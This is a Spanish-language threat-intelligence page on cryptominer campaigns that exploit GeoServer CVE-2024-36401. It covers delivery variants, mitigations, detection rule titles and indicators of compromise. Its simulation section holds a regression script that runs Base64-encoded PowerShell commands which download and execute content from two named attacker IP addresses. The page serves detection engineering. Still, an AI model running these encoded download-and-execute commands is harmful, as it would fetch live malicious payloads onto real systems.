GeoServer Bajo Ataque: Campañas de Malware Minero de Criptomonedas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Los actores de amenazas están explotando la vulnerabilidad de ejecución remota de código de GeoServer CVE-2024-36401 para desplegar mineros de criptomonedas y NetCat en servidores no parcheados. La actividad se basa en PowerShell, Bash y certutil para descargar e iniciar XMRig desde múltiples dominios y direcciones IP maliciosas. Se utilizan varios scripts de descarga y droppers, comúnmente empaquetados en archivos ZIP y persistidos como servicios a través de NSSM. El objetivo principal es apoderarse de recursos de computación para la minería no autorizada.
Investigación
El informe detalla tres variantes (A, B, C) que utilizan PowerShell codificado, fetchers basados en Bash, y certutil para recuperar cargas útiles de mineros desde pool.supportxmr.com y múltiples subdominios aaaaaaaaa.cyou. Los mecanismos de entrega incluyen scripts por lotes, paquetes ZIP y un descargador personalizado llamado systemd, junto con credenciales de autenticación HTTP básica. Los analistas extrajeron indicadores clave—URLs, direcciones IP, y nombres de archivos—para apoyar la detección y alcance.
Mitigación
Aplique parches de GeoServer que abordan CVE-2024-36401 y mantenga las implementaciones en la última versión compatible. Bloquee las conexiones salientes a los pools de minería conocidos y a la infraestructura relacionada, y monitoree ejecuciones sospechosas de PowerShell o Bash codificados. Limite el uso de certutil para contextos no administrativos y haga cumplir la lista de aplicaciones permitidas para evitar servicios no autorizados instalados a través de NSSM.
Respuesta
Implemente detecciones para las líneas de comando observadas, hashes e indicadores de red. Aísle los hosts afectados, erradique los servicios de minería y artefactos de persistencia, y realice un barrido forense para detectar cualquier carga útil secundaria. Rote credenciales expuestas y requiera autenticación multifactorial para acceso administrativo.
Flujo del Ataque
Detecciones
Desactivación de Protecciones de Windows Defender (via registry_event)
Ver
Cambios Sospechosos en Preferencias de Windows Defender (via powershell)
Ver
Puntos Posibles de Persistencia [ASEPs – Software/NTUSER Hive] (via registry_event)
Ver
Schtasks Señala Directorio/Binario/Script Sospechoso (via cmdline)
Ver
Archivos Sospechosos en Perfil de Usuario Público (via file_event)
Ver
Descarga o Subida via Powershell (via cmdline)
Ver
IOCs (SourceIP) para detectar: Casos de Ataque de Minería de Monedas Dirigidos a GeoServer
Ver
IOCs (DestinationIP) para detectar: Casos de Ataque de Minería de Monedas Dirigidos a GeoServer
Ver
IOCs (HashMd5) para detectar: Casos de Ataque de Minería de Monedas Dirigidos a GeoServer
Ver
Detectar Uso de Certutil para Descarga Maliciosa de Cargas Explotando Vulnerabilidades de GeoServer [Creación de Proceso en Windows]
Ver
Detectar Comandos Codificados de PowerShell Dirigidos a Vulnerabilidades de GeoServer [Windows Powershell]
Ver
Ejecución de Simulación
Prerequisito: Debe haberse pasado la Verificación de Línea de Base y Telemetría.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa y Comandos de Ataque:
Un atacante ha obtenido una carga útil maliciosa en Base64 que descarga un archivo de configuración de GeoServer vulnerable, lo ejecuta, y luego deja caer un minero de criptomonedas. Para evadir la detección simple de bloqueo de scripts, el atacante utiliza el-enccon un string pre-codificado (uno de los dos IOCs conocidos). El atacante ejecuta la carga útil localmente en un host Windows comprometido, causando una creación de proceso depowershell.exeque incluye exactamente el string Base64 que la regla observa. -
Script de Prueba de Regresión:
# ------------------------------------------------- # Script de regresión para activar la regla Sigma # ------------------------------------------------- # Carga útil 1 (coincide con el primer IOC) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # Carga útil 2 (coincide con el segundo IOC) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
Comandos de Limpieza:
# ------------------------------------------------- # Limpieza – terminar cualquier carga útil persistente de PowerShell # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force